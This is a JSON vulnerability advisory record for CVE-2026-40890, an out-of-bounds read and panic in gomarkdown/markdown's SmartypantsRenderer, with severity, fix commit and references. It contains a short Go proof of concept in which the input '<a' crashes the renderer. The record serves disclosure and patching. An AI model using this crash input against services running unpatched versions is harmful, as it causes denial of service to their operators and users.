{"id":"CVE-2026-40890","aliases":["GHSA-77fj-vx54-gvh7","GO-2026-5208"],"url":"https://o3.security/vulnerability/CVE-2026-40890","summary":"github.com/gomarkdown/markdown: Out-of-bounds Read in SmartypantsRenderer","details":"### Summary\n\nProcessing a malformed input containing a `<` character that is not followed by a `>` character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic.\n\n### Details\n\nThe `smartLeftAngle()` function in `html/smartypants.go:367-376` performs an out-of-bounds slice operation when processing a `<` character that is not followed by a `>` character anywhere in the remaining text.\nhttps://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376\nIf the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic.\n\n### PoC\n```golang\npackage main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\n\t\"github.com/gomarkdown/markdown/html\"\n)\n\nfunc main() {\n\tsrc := []byte(\"<a\")\n\n\tfmt.Printf(\"Input: %q  (len=%d, cap=%d)\\n\", src, len(src), cap(src))\n\n\tvar buf bytes.Buffer\n\tsp := html.NewSmartypantsRenderer(html.Smartypants)\n\tsp.Process(&buf, src) // panics: slice bounds out of range\n\n\tfmt.Printf(\"Output: %q\\n\", buf.String())\n}\n```\n\n### Impact\nThis vulnerability will lead to a Denial of Service / panic on the processing service.\n\n\n-- The Datadog Security Team","published":"2026-04-21T19:51:53.237Z","modified":"2026-09-20T03:30:49.174979361Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/gomarkdown/markdown","fixedVersion":"0.0.0-20260411013819-759bbc3e3207"}],"fix":{"url":"https://github.com/gomarkdown/markdown/commit/759bbc3e32073c3bc4e25969c132fc520eda2778","label":"gomarkdown/markdown@759bbc3"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40890.json"},{"type":"ADVISORY","url":"https://github.com/gomarkdown/markdown/security/advisories/GHSA-77fj-vx54-gvh7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40890"},{"type":"FIX","url":"https://github.com/gomarkdown/markdown/commit/759bbc3e32073c3bc4e25969c132fc520eda2778"},{"type":"PACKAGE","url":"https://github.com/gomarkdown/markdown"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-20T03:30:49.174979361Z"}}